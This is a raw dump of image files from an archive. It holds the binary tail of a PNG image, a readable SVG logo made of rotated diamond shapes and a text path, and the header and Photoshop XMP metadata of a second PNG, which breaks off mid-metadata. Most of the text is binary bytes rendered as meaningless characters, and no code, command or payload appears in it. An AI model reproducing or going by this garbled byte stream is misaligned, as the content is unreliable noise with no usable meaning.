ov>�z㶷���XDUXBt��C�y�]�;�s�we�J�K�QE��sI��I�j5��왳�7>���>>=1�"K�!#T���W~�J�I\�GיmL�*#*+�$VP��zP���?s��ҙ���Fa%���{��p��>���^���0Z�mٶmee��5�|וGo�K��I'�����z�W�oŸ�/
G�~$��O�5�nuVV����@��q�;���wP������$��Gz�ŗ�z��g�&���/eY�A&�g��9��s��1�q{�:����{�9����3/���S[2�&x�Hd��7��]i#��g��Id���2�J�43Ip����?��o���n<��"H����|�k�V_Y���އ¹�(J��"1[@�F�MM��g�~��_�������)�T�CBK�Z�BMAU-��*I����Ec|��uP��D�Q��8�kZͦj8���)+!�E]^m_q������?��'���fb�0
D Rz?�m��\\Zz���λ�%Cr7;�84��c��c=�k=t�����C��Nc�YU���R�F��qgHؗi�y��[��鄦ٹ��W��q�bLd�+/_\z��?z�(z�O��}�k_K�	(h�t%P��.aVV�w��-ן��Ņg{"�s��e��h�%Z\^8x���׾��z��''�Ơ�^�7T�D|ߏ��ֹ9�=/AX@c&
U!�x���wι�y_��(]Q��E)!hlF�dI�LN6f��8���S�����Fc��D�;�%�g�j�M�(��fD֢��^T\�%�D���2/�*f�����_�}�e^~����L���io��������m��J���t3۷Mo��g�~���|Û�E��(�b�H�Pw7�q���^��������\U�4M�T��K�"�Chl�z�7�89�k_W`����i�2ON?}��g�[��/��|QAo|ͽ�9��׾���l��-��x]�Ⱦ���}�����arn���ž�W}�?%I���+h�$>/�WW���]��/|>��L��ƴ0HdU	�'��臷�Mcg�,r�.!�>D���",�9�T�ѕƹ�,��,�+}Q�y��P�5�I�4I��Ln�6=3��#G~�ٿ��W�[S�17!��fsn�μݵ@�2�" T�6�D�@@#���XP;�W�)�q�ꭡ8y��>�K�Ԙ���}���!]��ӗ_�3������c�V#3�^	�@�wg����Տ>���o~����Nᕵ�?~�:��߹*¼���8,q���v�=���zȭ��
�EUN=gS�������;��vbvޡ�W�����p݉7���ߺ��٫�;~�	��>H�4F�TUQ��U��(V۫7�q�����O����cW:t㭷���c�^��L���s/@#9��{�w�z�+_���$�i�����c�����f�yW�s��be��1�,�+�Y9H��:罋dٹ�E@�+�[��hJ�f�}���D,Moݾg��<��?��ɬU),��,�+]�ӿ��O>���1^nd��B��ߞ�D�c�ي��DE,�o�&Q$MD����Y�W�o�������>v���'l��+�Ύ+������G�}���>�c(H�8����=z�[x�#?v͍�_��t�cA�����ڇ�qw�����A@or�7pw� �v#�TG�^�gA��"�\��3s�^}���nz�=W�~b��]��=|�
w�}��˪�ڛoܶc����<�Bkj��k`$�A�S�_|q~��+]�)��٘��,�Os��8|pqu�,����3gOONo���vl��7�a8T&��L���>��t|ʒ:B	>�|%_���n�X̋•E���\\eY�y^�eY�y��+�,H&�ҭ[g��N�n�(���-��_q��g^��O�u+k�	������|�'O=�ԩ����фJBh�&��pㅗϊ/�H���ղ��ر��v��?15q填����+
�+++��������_��o}��$A�Jݝw���������|�k_o&	:���z�O�Dcbz�1u��u��Tק�P�^���@���>�q	�a�_W?U�z3���Z��P���˾u'Ō>�
�\(C��>���=|�Qλ��lw�'����V��t�������Sϲ�]{�'�vKKIf �M�?��o^���U���nå+�?q��G�-��H�˼��~��Ν9��?����4b:AN���Go��(�0�,%�$�i��Lgyu��9�fI���P�%;Ve���yWz_��./�gf
Y����LMM���g^�&��;w�I̕��n������^��Lo������k,a*	`�w߄ľ�Fc�u�#(����ؽ�������au�¾cG��Z:{����lJ"u��:������_�W�����\m�D�{���-o��O,�E�����`
��"ﲵ�}཯~��ِ����㥈��8�p\��iF㢳�տ��ޘb8���(��~j[��z��"jpzUau�^iD�]���s!"��rY��f&��3�u�Uo|�{��w��}�[o�W?����cIQ6H%���+��������s���yY���]�6w�QC�	A�}�۞~�g~���ʢ�?p�u�~�DY�L�+�$�K3Li�'J��t�s�D�4iRzn��+�w�y<�<�I�li�4Ӥ�O��|arf�ٚHY4tV��{�6Z��l���O���ԔE��ݒd)� �E(K�늽w����o��h;����������x���ֶ�{N������|�����%U]�[v�_�g[w�޷�}aqe���GN�����m���f��o~���7���n�l�}����N�.p�`!!
�J�<��z��+c��)q�o
�ب��Q1P�'ȫ��wJ{����cY#�d�c��ۘ�/E���ny�[~�K�;�ԓ��
:��}����p�O}��!@�NT1���se1�}�?�>������ں��?��]{��t: cJ�IR�d����&B��KK�yc��0��XUD�T���z���I�h5����4M��$)B���'n���v&K+wUC�h4Durz�f)�9!� ��|�Ó�3gϧ�F#sf�_v�ڷ~�}7�8^��_󖷓%L�˫���[fڋ�<�7\��dϾ�gϞ�ݱ��?��,k�L��n�0+٢(���#��8�N��}�}���v����S�e�������=;"��0��
at���-=8�ĵ�i�Z�m�������/Ҝ�����;v��/�~��s�_>[�v�9�.���v:S�Zh���Z�E>�",W����/~�O�b����r[�"Xc�v!Y�����hbL�ڐY�Vri�
Ǟ�p`�*���6IM�@c��&M)I�&�$����S�}�'N���瞝lMD�16�RmNL��F�wP�r���������?�[!/�F
y�g[���[�y�۶l�:��HVEB��n���w��/��;N��7$͉�UPE������h@U�rݱ���׽�[`�t��p�O��J�7��1��V��g����&,{;��"�o�����3H�p��:��d�2�TQ��z�i�M^y��CGAUk��$H���z���O�
�	�<Ł|�%���QHU�Q=NƒE���$�4���v!�́��DwC�U\uAc�Z��8�Hh�P����cG���W����g&
�R�r���Vk�ٹ
�׾��?�3?�q��闌B��w����
����V�] (
���7�v�k&�&�C�����,ʊ���PP	���}��݇�Zu%2!���vC_s̟�G���w�Rp#�QcN�荁X�oxXî�=ٷ9�Xى���q� >(
F@�T��JDqS�0��!P��\m����c(��Z� &��R�� �H@��0�5V�ec�I�ĥi�P��L*��( �4���}w	�Bv� ���D�̋�o���ӿ���xb�XEp�բ�[S[�o[ZYy��5o{� ._X:t��׿���{��#7ޔeYQ���b&�jeV�"l6�,��Y��
��Q�*3@sf灙P*��A�	��`�o�
�</�������=�:��1E{�mFNׂ�:�����V��#��//ƌ�أ㢭�?���41&K,he�M���`c�k�&d�&�������9�$@���5�wD��?�bb	E��������������J�I��?5���ks��1H;���G����Y_���C��Co��C��ퟜ���PO�ʠ��F%��:Fk��ac�lT�w}#�i����{R��  "J�6D�䧮�����b�m��@���Tyclf]���iE���Ak�&��IٲI8
�U�<��wAA5���+��*��&��pX�:x͏����OX2�「��A���[�L^�hL>z��v^�Ԋ��K�v�>�;y��i��hI����N�
x�%A�����,X�_0 �7ɧ���Ou�CjxT�R���w����Q3��j�Ѱ��Kt卫���a1�Ib<�T8�
�
�0�1;f��P偎�A�ۊ���	�%��,"[��n��v��,YT5�
��[Z�R	�����^��7��
o������Ob�#�9v�ں�#݈I�wk3�ڰ�B<V���m[ߤ���g�u@��
#j��P?��b���,V,b�.k�!J�a1)˜0�"��I��o�h+�
*A�e�e���hjQGl�di�+�L}k�D}�j#���'�c���a���jʨ
�7K��.c�7:Ƌ�ذK���;�H�]�4�����u����еE��*{���Dt��]Y'�MPU�ʌ-���L#2d�+l%��6$�iU��x41�9()ƍ���z���*!�2��*'tt�5�nk��?���C!��C^��>����v6�fG�Ekz�^��ai=�׃
�Z����%�?U�_���Zm��j@����u�>�Ƴ���ZM`�ª�Zg�^|2�Z�l�M�$��
���*�X���{�/P%*RUi6RTV���J?:�$h%�u্a��`�(��y��;6��5@�#�`$O،�'#�æ�	���g-b񨣪��c�S^�����Ҥ�ȀsT��QT��U�7ClM�&�kDRU`	,�HP@%`Qa��EDb�t�0-�Z�����jk���hu�w>�8�YRA7ʎ^�ul\JH���ټ��FW6V��;���Qw�)�ѳ#w���F�6��z��%�è��F��n@�kDI�3�+��-Q�l5��<�h%���"1Dl��TYذa�̉j��40iP����WWP��F�r"��j�Y�th�Ą�F{�8t������\�_�|U��ʸ�o���	10�����~,�br����l!�e��#��j�bH��¸��
Q@fg�I�Ƹ3�, }ec;�T5�ƪM�T�)�e��V5�z��*tg����{�YX+�"Y��$�sgA�_�VP��[������sda�׎=�R�p��p�WY���Ӝ��?���E�Vۍ��7R�l��q�'�����~��X+WٸW�U'@�=�	 A3;=
� %h�7+ex�%)��Q�3'u�=�DHE��غ�fT~�R�sIg�J�%��F��
��PXDP)��F���;D����o�(�L�*�[-=�	�~���A-���a�>P����f#@<�Bz@��.�5FH���T!U6*J�0(�ev~2ˠ�2H�Qȁ�5溊�`/s"Yk9(b��FFa��l���X�!TW�"�"!����u‹��t�L�ج�4Z��)lMJ��6q���c���}еHkU����t��m���1@DU��S���;���:_�y?�������6ˏ���ݚH��b���1��HdPUP�nSitW�����/�ŋ��u�{�u�~�B�I�#��ɾ�TR���Vk�H��"VDk9a#"T�5�1�c�XfV��gn��>?����-,�4��lfzfj˖�m�&�mk��3[���N��Ɛ����@�
�7�C��
�k^��_I�z�L0�ȑ�.ܫ�Nx�@�=�������OƏlF�BRT5,��,�����S�Sϔ/>�ϱw1#���ss1_2D�je����D(�[U��A2j�+*œ$	�
CR/뀥n�����gBk����S`��D%���N$���"h�(/N�V2+�`D=!j����Ik�@�%�p/
�T�0Tf����y˙�o����Mr��um�CoԈ�ώ�Z�ݭ��ZNW�?�n$��
.k4����c]|�I��X.,�y�¬d�+&��~�A�$��HP���R�r�V[�Pm`S�aE����V��UYYU�=�$^E�sp�����S��w�������AEI�f3�[�Df�h�,&�������J�b�ZW�0�-��%k#�\-�����n�KR�1��Y�нKR��_�Hb�{S?{�$�c�]q�[�гJ�1�TH�9�D����}�[x���ӏI'��˫!��8D�K�+�s�I��I���=G͝�']�5���UPk��a6IbUUDlL^�"��P8&3�{�A��/���v��)�94�r	AY�6'���tknvr�����v{[�ۤK�F�VP������jj �k�u̧��m�M����T��6\����GO/)#ah�
ӕ������v�Eu�o���0�4l�\k��܇�[�~����;��<���SE�Η;+�KeY2+�"`�R���;�{��AJ�ʶ��#�~H4�5�X�"U�f��6!�d�X���2�PeVf���α����v���m�?�|k��"A�`v�I�4'ggfw�3icr�‚m�\�PH6�YkR�KG-�����p�x��p��0���Վ:6��7j?lD9���F�(����0�y�W`�m���Zc���O�z']��-�nٽg��^|ꉥ�^(ڝ���V�]^5���m7�y�r� x؁�JP�8�51�e�0��c�	�8��Z
BFHT1F�P�A��s�.���]o��?��F�
�͙�P�4��D+�������i{qa��ح�O��+�Hն������n�S�Pn���1���9,M���G^U#W����HlWZ������hE�KHP��f��}{�,��S���_�.�E�^Z�.{a�,���Yh'o�:��Cq��Qj��ʚʬ�1-C����bL0Dl��2K@���A�E88�>��|Y��W���~���W/<��L4	�:�g!Ĭٜ�2�LO5����`mn�йK�[����T�B��,@�F��#}l�Tu���%�K�d{zL)��7�w?�]�����z�;��']��c�����]��w��!x����Çf�\�9U�?�|�lw�b{y�̙�����ʠE�['��?�زJ��D���W�9��t�u>�un��oJ]�2��tf�/�I���F�e��f�M�$I��93���?������U��� y�ʼ��ر��掝��]����:3�����z	Chc
���Y������z�{`�K�X?>F�Y�S#[9�X���{����:��������5S�/��bu���Xv��VV:�\ueLJ�E//,/^u��[vn���W����;eV�h�!�=�P$D3b��6"��)�lL�S���h_��(\Q�����׾����Y=���/�p�S���^z������#���i6��Jޅ��]6�����'Ż^����v�n�3m$)ǿb��&�	сü�ac�<�����/����i�H��
�J�>��R@B�_>;{��-_��g���ryq��Յ�����?��\�Rx銶Y�,w&��|�#زu��v<�!��JB�`O,GY[K�V�EU#7�:]�ҋ�^�%!��I�&ij�̤�MRk *��l��=��׿��f�B���VnsX�~q��eq���MsRګ���Z��d��kv.�pquU׶�`�|�S�z`����[��V����q���^ɵ�i06jߘFo�K�[E�@�7z�H�=\A ��Q_�W��~�� z~V�X����U_�ˋ˫�V��x�\����=?tߞ���#>�P�/%�,^%D���b�>�[�ai���]Ӽ��X1xyD:����e^�2�y�趗��z�us�S�š�F
�’��N>���<��!�&IP��nQt�+ZH78p��=&&������u>��?=-���4p}����'������F��w��^�H3D���Νw�x<)/\�N'�yQt��St;.�s�m/� E�Ky��+��֓w�}p�:�	U�,�!�HT�jƕU5K�	X׬;�$�Ơ!�D�DTWz"�!x���u;e�]vW�|յWΟI�8y��,�}2q�	%�����w!%����9)�±c����즃WfX5����֭�u�����>��F�fʌ/6��^g�?,��І^�񺹑������C��1Mx\AUC�س���cTXY��\�e�N���떮��鴅J֕@gB�����z���v���QRfUQ�Tbԏ���^k6�ْ�6���Dl0 E�V՘}�t.ϭM�M:�E���K/�����+����{A�jڪ�?��1� ��z�7�H̡ݻ�$��cOvY(&��Cr��FRi���o��f�FOY]�)��2���;�"Ǐ�~��3�=�[Wq��l�m7�@���`Yh��/������y��J�r�+�Ok�\����58��
"*(�c�k�k��J��K��g��I4.%"%���$��h��ѵ���s�n̢����ϝ/V����uA���3��2�y�@��T���=�1��Á];m�~��G����M
��\|�����l��a0r�t8]B̰�Wx^Z����4��O�u3#T�
����_y��;n>f�]@��w�/���� |��y|i�5�,��W�qϱt��
PUaB���2Do��v���5�̖ƨ*�*�G����R��0{�TBpy���u��=�]u�Q���w3c,P+��!�hV�z��I`aV�`4�ݽ���w�[oimf�M�r3���MJ���{�W���a0���.~��0�hm����k��ixBP�D
 @�_{ž[o��Ic��1�R��JW��yV�\��|@o8��}�n>t���$����
�1n�U;U�Ȫ5Q�T70.�1f4T�c��B�[2�
��`U ��{�*(��yc�%�2y"���p�z�U�3#�{��n J���PeԄթJ��\�Բh�1��];����7W9Xcq͗|�U�P6B����‘�oT�fD���Co$wa�P���hKYX/�G�"Մ^3�.���Q���s�:tӱ#��N5w�J�E�%9Ǿ�����=���1��p۾7ؕ�lA�ŋf%��Q@d#O�53�z�Dc8ȸfTE ���h�k�o�E�!FRaQ	�("�0kʌ)��D����id_{��n�Y��Q�������{
^�AcB[Ef ڽs�����o:a�-6)A���$iY�hR��Z��j��t�v�[�	CRy32��&��OE��Tu*����n9r�#�@�`��"��z��KB`�!t��[\�L��+vݼs�0����(3�*�J��XG�}�5߈lY5DN�
���Ԡ�(�ڻ�:
"�")���UP@˜��@0��u;g'��O=�詥��K�*�(���{�Qq�"B�V
�ٵ㖣G��݇�Z�;֙� �y�x�&�~�8�%G�1�x�0����v#�:�Ԟp�XW�_���`L��#�Am�Q���k0����7]w���@�CY`p�J�^}�ڐ͗.�������O�b��z�!!jTl��f=���1�?UA!�ᒺ�Dd��U��1�{V�G��< ��Q|��1H�{ՐQe 8�ub�쵮=?��*� ΃���j�^��P]y�ŕ��O[k��=2u�Ը�ʼ�����?�p���1hfM��g���Ȇn��xٺ�
� �J�,V�,���Ml�f�f#ɚI�AIRER��@AY�O\w���*�-=�h�K�>�s�t�y��]t��޺s�e�y�DD
��9	�� ���z�)Z��c��_� �U�sH��61���a�ƐE"$C�⪿���"h�cy�<�*�.�H�����2q���}��D�a�Գz�
��2A2Z����O|�������Z��"�DGx2ƦY�l�l#��P�>��9����&���b�y�[�����7���0�nV��F�W�Ќ"\�����;�Ky�ニK���1k͉��鹹��[�S�Y��*  ���
R�d-�tsQ1��2�����23�D�o�h�IY@s�|�̂c�"�E�
�J@�V�� ADEEU4U�EE%��&c��h�Ad���}}��).8
"��1P��b�{�-���G@�A��X\�EAi�C6i�8���_��g�	�Bܶ�"�Ee�
�!c�$M'�ӳ��v��s��윪2��ʵO=��wq�z�P�����#�O��϶�u��U�c�-FE��^���s�CP��mю�B��*����=}:��ܵsg���󼻴���3���?ز}�;������\�8"޳�h��w�q�ޓ��Z���wλ��'c���U|�(k���t%��*%L�	U'#���M4��Z�Xkk9*	���'VD1DB6f�b&"D4��w�����Ԗi�����P���P0BQ��+g���o|��G��I
�Q�8*/D��?V��#]��ť��}��fk��=W>4�c'CmC8
���rs3<x��#k.X�h���H>���^C�>R�HU��
��2�-B�P�w"�
@D#!�i�ȚY� D	��^<��s�*,Ep��E8{�_������O���k�h)���A�/�ླྀ�/�Lܵ��U4xϮ��$ �$��~WM��s�@�hHE��!c��P��XK��<�)�
���J�d�@��4��D]6c��7��N��VJ-	���sv��JY\�p��g�?u��AL�	ݜ�%�7~�I jQc �8O$�&6˚e�y��GW���8`�T�#؆a7p\�$@�/��a���=�����>�L�1�1z�`/��T�M�YV�@^�sAc�NA ����5Y���E��b��hzI��AԋZ	�_�eB	�!���.����$�!H`�KPBA��׈��0����=s��F�h�'�����X�HGL����d�E$TQ[Y��vJ12��*�3B�gJd�2�"��Dc��U�4ɲ&��8[UU�p�riy��r��ˋg�..���ݛ/wS`D@��$+_����K_��s$�6i��[ff�Υis��~��_��ʴ�Qø�c�p��W�����65F�:�U+���I'DI�;����,�0�Ԑ5>��(��AH�"*B-���1�� U�>��x�HU�	~%���3�eu��2W�sv�p�ޱ��<{Wrؕ.ԘM�6��{�4xI`!P5=�!F�F�T�"�V�p���� &�r$c*�a
c�M��Z�İ���A՞)���0U��y���#`	�@#���B�*AAP�*9�9_�,/.�K��Px�j�1�*G�MNDE��?���U
B�:l4ә��-s�F+I�$��������߽grv@�9�����g=�z����8����7:�r��rX�\*�^�}p@�]P�D�l-]�۹x��4�'Ybdf�f�h�T����F�T���J_z_eX�Ο�D�������z�!� !s��7���H�b��6�� ��p1Jՠ]SHűT+�Q����X�6 ����)��Ac�Zk,Պ;��c �(��5Ơ�&�(�$��А���֤E�\m� �23a�� �G�S�e��{���+9T+��b���<I��ɉ���$ID ��"���gOM.-l߱3kM�z��� 8���O36s�[j���/:pq��p���QU�N�YY鶗��iژ�h%�`�����Z==c�I�T��`��*y^p^�\<_tWwN�d�PtAJ>h�b�@f"�*>S�@��1P��J��9$T8�ai��)b	QQ�U��Q
+s��M�j�T�"��,W�q6�m�+��kK���y1�P50��X#F�٘@ ���^�EUcLf�Ě�i�21Y���\��X�}o���Sn����4�eY�Ѵ�@Y�<���`ȚVϵW/^��۶u�δ�PeY����fPٍ��8��/��`:|}�z�QEID�"o��v'owCY��lMM�o�655cl����-�QАI,ձ�H�6?VTfBhwr��E{�]�}zK�&JE	����!H�})����QV	�E�G�2E��z��u@[���*��k�k.3q��N��t�$2�!c���p�|m4:X2�Zc�H���J_�����L#k�"�R�>E�ZeM�H�M
��&��e��jE�$.
k_�ʾ4��˝�@�(������f6D��M�&IΜ^>qjn���F\���:��&��跬��1ǚ����CwGo�����)�ˋru5ﴋ<w���$6K��S
@H=(�_��Hd��SN']�Z����wq�~��]�� �1�q���EB^8Z6h��1RX���Dc�~��%6FU{�Iq<`�ih���P�Z�Q���~��V��%c-qbR�>h4&�Zc�51#QX�8>�1�Ys�(�(�
J��FC�� ��c���+�_�CE�jR�s�H��m�v����+���H
q �1�� �™��xqn~~n�vJ-�T�Dj��{CE���:^}1�����N��O}���$�m�������u�y��r�,CQ�EQ�w��AD
�D��X2#B�L���s�7cY�(�(�`Phws�\�t�A]~��QD��y��N+��Y�
@bRCj��M-%���@
��!R_9'�!�j�4�{�Vj?R$�,�"��5q�hP	
c�M�$
II��@���!�J�a�'�k4���~��I�I�T(f������� ~v—�!��&�p���+!R�%C��"��t|�VWW�yBT��"L@>T3�56IP�EW��ܮ��d4�$�v$�jk��tD�n��H�є�'��t����=�D�w�L�g^:��v�E�9�C!�J�"�V�(����>R��eYtkT�i�@�_]]�+����y`���:OEX�%0ǫ�"O&�	!d�4M�M�D�977;�u.k5�U40{���8!���!"�7ĥ/toƫ�A��qM��M��	�LU�A��G�S�q��Q�@Puh�B�b�5��$"�jUnȨ���>���҆_]	�ZeE���^ΡVW+�,��N��9KMe[+�Kh��!��SU��9��m͉I@����CN��F��cP;�79}�[X��IEND�B`�images/logo.svg000066600000014454151150443020007501 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="434.92" height="110.288" viewBox="0 0 434.92 110.288">
  <g id="Group_1" data-name="Group 1" transform="translate(-596 -429.712)">
    <g id="Group_1-2" data-name="Group 1" transform="translate(-556 633.712)">
      <g id="Group_12" data-name="Group 12" transform="translate(1089.23 -804)">
        <g id="Group_1-3" data-name="Group 1" transform="translate(-761.774 69.042)">
          <rect id="Rectangle_4" data-name="Rectangle 4" width="31.194" height="31.194" transform="translate(868.659 553.016) rotate(45)" fill="rgba(91,79,185,0.8)"/>
          <path id="Rectangle_11" data-name="Rectangle 11" d="M0,0H31.194V31.194H4a4,4,0,0,1-4-4Z" transform="translate(846.602 575.073) rotate(45)" fill="rgba(91,79,185,0.9)"/>
          <rect id="Rectangle_7" data-name="Rectangle 7" width="31.194" height="31.194" transform="translate(912.774 553.016) rotate(45)" fill="rgba(91,79,185,0.8)"/>
          <rect id="Rectangle_9" data-name="Rectangle 9" width="31.194" height="31.194" transform="translate(890.716 575.073) rotate(45)" fill="rgba(91,79,185,0.9)"/>
          <path id="Rectangle_13" data-name="Rectangle 13" d="M0,0H31.194V27.194a4,4,0,0,1-4,4H0Z" transform="translate(912.774 597.131) rotate(45)" fill="#5b4fb9"/>
          <path id="Rectangle_14" data-name="Rectangle 14" d="M0,0H31.194V27.194a4,4,0,0,1-4,4H0Z" transform="translate(868.659 597.131) rotate(45)" fill="#5b4fb9"/>
          <path id="Rectangle_15" data-name="Rectangle 15" d="M0,0H31.194V27.194a4,4,0,0,1-4,4H0Z" transform="translate(956.889 597.131) rotate(45)" fill="#5b4fb9"/>
          <rect id="Rectangle_10" data-name="Rectangle 10" width="31.194" height="31.194" transform="translate(934.831 575.073) rotate(45)" fill="rgba(91,79,185,0.9)"/>
          <path id="Rectangle_12" data-name="Rectangle 12" d="M0,0H27.194a4,4,0,0,1,4,4V31.194H0Z" transform="translate(978.946 575.073) rotate(45)" fill="rgba(91,79,185,0.9)"/>
          <rect id="Rectangle_8" data-name="Rectangle 8" width="31.194" height="31.194" transform="translate(956.889 553.016) rotate(45)" fill="rgba(91,79,185,0.8)"/>
          <path id="Rectangle_5" data-name="Rectangle 5" d="M3,0H31.194V31.194H0V3A3,3,0,0,1,3,0Z" transform="translate(890.716 530.958) rotate(45)" fill="rgba(91,79,185,0.7)"/>
          <path id="Rectangle_6" data-name="Rectangle 6" d="M3,0H31.194V31.194H0V3A3,3,0,0,1,3,0Z" transform="translate(934.831 530.958) rotate(45)" fill="rgba(91,79,185,0.7)"/>
        </g>
      </g>
    </g>
    <path id="Path_1" data-name="Path 1" d="M30.426-47.9v6.009h-18v12.018H27.618v6.037H12.427V-7.3H4.818V-47.9ZM46.459-36.556a15.788,15.788,0,0,1,5.854,1.039,12.623,12.623,0,0,1,4.479,2.948,13.051,13.051,0,0,1,2.864,4.661,17.73,17.73,0,0,1,1.011,6.149,17.817,17.817,0,0,1-1.011,6.177,13.339,13.339,0,0,1-2.864,4.689,12.442,12.442,0,0,1-4.479,2.976,15.788,15.788,0,0,1-5.854,1.039A15.9,15.9,0,0,1,40.59-7.916a12.554,12.554,0,0,1-4.507-2.976,13.4,13.4,0,0,1-2.892-4.689,17.6,17.6,0,0,1-1.025-6.177,17.51,17.51,0,0,1,1.025-6.149,13.108,13.108,0,0,1,2.892-4.661,12.738,12.738,0,0,1,4.507-2.948A15.9,15.9,0,0,1,46.459-36.556Zm0,24.344a6.1,6.1,0,0,0,5.321-2.415q1.727-2.415,1.727-7.076t-1.727-7.1a6.073,6.073,0,0,0-5.321-2.443,6.157,6.157,0,0,0-5.391,2.457q-1.741,2.457-1.741,7.09t1.741,7.062A6.184,6.184,0,0,0,46.459-12.212ZM66.086-7.3V-36.107h4.071a2.183,2.183,0,0,1,1.488.393,2.261,2.261,0,0,1,.562,1.348l.421,3.482A13.687,13.687,0,0,1,76.25-35.1a7.622,7.622,0,0,1,4.661-1.544,6.024,6.024,0,0,1,3.538.983l-.9,5.195a1.072,1.072,0,0,1-.365.716,1.235,1.235,0,0,1-.758.211,4.729,4.729,0,0,1-1.151-.2,7.705,7.705,0,0,0-1.937-.2,5.881,5.881,0,0,0-3.706,1.193,9.188,9.188,0,0,0-2.611,3.5V-7.3Zm32.4.449a7.577,7.577,0,0,1-5.756-2.12,8.137,8.137,0,0,1-2.022-5.854V-30.912H87.79a1.4,1.4,0,0,1-.969-.365,1.4,1.4,0,0,1-.407-1.1v-2.752l4.633-.758,1.46-7.862a1.389,1.389,0,0,1,.519-.87,1.647,1.647,0,0,1,1.025-.309h3.594v9.069h7.581v4.942H97.646V-15.3a3.06,3.06,0,0,0,.674,2.106,2.286,2.286,0,0,0,1.8.758,3.263,3.263,0,0,0,1.081-.154,5.95,5.95,0,0,0,.758-.323q.323-.168.576-.323a.962.962,0,0,1,.505-.154.794.794,0,0,1,.505.154,2.343,2.343,0,0,1,.421.463L106.042-9.4a10.5,10.5,0,0,1-3.482,1.909A12.959,12.959,0,0,1,98.488-6.849ZM120.979.62a2.68,2.68,0,0,1-.8,1.109,2.448,2.448,0,0,1-1.5.379h-5.166L118.9-9.432,107.249-36.107h6.065a1.9,1.9,0,0,1,1.292.393,2.582,2.582,0,0,1,.674.9l6.149,14.938a13.182,13.182,0,0,1,.533,1.516q.225.786.393,1.572.225-.814.491-1.572t.576-1.544l5.784-14.91a2.045,2.045,0,0,1,.744-.927,1.979,1.979,0,0,1,1.165-.365h5.56ZM166.72-47.9v6.009h-18v12.018h15.191v6.037H148.721V-7.3h-7.609V-47.9Zm12.916,11.793V-7.3H172.7V-36.107Zm1.039-8.4a3.952,3.952,0,0,1-.365,1.685,4.63,4.63,0,0,1-.969,1.376,4.63,4.63,0,0,1-1.418.941,4.351,4.351,0,0,1-1.741.351,4.183,4.183,0,0,1-1.7-.351,4.5,4.5,0,0,1-1.39-.941,4.548,4.548,0,0,1-.941-1.376A4.086,4.086,0,0,1,171.8-44.5a4.351,4.351,0,0,1,.351-1.741,4.456,4.456,0,0,1,.941-1.4,4.5,4.5,0,0,1,1.39-.941,4.183,4.183,0,0,1,1.7-.351,4.351,4.351,0,0,1,1.741.351,4.63,4.63,0,0,1,1.418.941,4.529,4.529,0,0,1,.969,1.4A4.207,4.207,0,0,1,180.675-44.5ZM201.9-7.3h-6.29L184.156-36.107h5.756a2.166,2.166,0,0,1,1.278.365,1.871,1.871,0,0,1,.716.927l5.56,15.387q.477,1.348.8,2.639t.576,2.583q.253-1.292.576-2.583a24.328,24.328,0,0,1,.828-2.639l5.7-15.387a1.9,1.9,0,0,1,.7-.927,2.007,2.007,0,0,1,1.207-.365h5.475Zm26.506-29.258a13.988,13.988,0,0,1,5.012.87,10.975,10.975,0,0,1,3.945,2.541,11.609,11.609,0,0,1,2.583,4.1,15.481,15.481,0,0,1,.927,5.546,10.038,10.038,0,0,1-.07,1.306,2.09,2.09,0,0,1-.253.814,1.023,1.023,0,0,1-.491.421,2.1,2.1,0,0,1-.786.126h-17.8q.309,4.436,2.387,6.514a7.439,7.439,0,0,0,5.5,2.078,9.532,9.532,0,0,0,2.906-.393,13.627,13.627,0,0,0,2.134-.87q.913-.477,1.6-.87a2.685,2.685,0,0,1,1.334-.393,1.5,1.5,0,0,1,.73.168,1.613,1.613,0,0,1,.533.477l2.022,2.527a11.559,11.559,0,0,1-2.583,2.26,14.487,14.487,0,0,1-2.99,1.46,16.344,16.344,0,0,1-3.173.772,22.718,22.718,0,0,1-3.131.225,15.39,15.39,0,0,1-5.588-1,12.508,12.508,0,0,1-4.493-2.948,13.833,13.833,0,0,1-3-4.83,18.69,18.69,0,0,1-1.1-6.669,15.947,15.947,0,0,1,.955-5.546,13.334,13.334,0,0,1,2.738-4.521,12.888,12.888,0,0,1,4.352-3.047A14.335,14.335,0,0,1,228.408-36.556Zm.14,4.97a6.413,6.413,0,0,0-4.745,1.713,8.449,8.449,0,0,0-2.19,4.858h13.029a8.642,8.642,0,0,0-.365-2.541,5.861,5.861,0,0,0-1.123-2.092,5.315,5.315,0,0,0-1.909-1.418A6.5,6.5,0,0,0,228.549-31.586Z" transform="translate(789 522)" stroke="#000" stroke-width="2"/>
  </g>
</svg>
images/user.png000066600000163462151150443020007510 0ustar00�PNG


IHDR���7~�	pHYs���iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)" xmp:CreateDate="2023-02-13T06:17:30+05:30" xmp:ModifyDate="2023-12-06T13:06:20+05:30" xmp:MetadataDate="2023-12-06T13:06:20+05:30" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:618a98c4-d3ad-4ca8-939d-ac724aee63b2" xmpMM:DocumentID="xmp.did:e821dc77-9994-4f94-af44-46b612af8242" xmpMM:OriginalDocumentID="xmp.did:e821dc77-9994-4f94-af44-46b612af8242"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:e821dc77-9994-4f94-af44-46b612af8242" stEvt:when="2023-02-13T06:17:30+05:30" stEvt:softwareAgent="Adobe Photoshop 23.4 (Macintosh)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:4ea94c5e-d8a8-4551-a181-60cec399b71d" stEvt:when="2023-03-10T20:57:01+05:30" stEvt:softwareAgent="Adobe Photoshop 23.4 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:618a98c4-d3ad-4ca8-939d-ac724aee63b2" stEvt:when="2023-12-06T13:06:20+05:30" stEvt:softwareAgent="Adobe Photoshop 25.1 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> 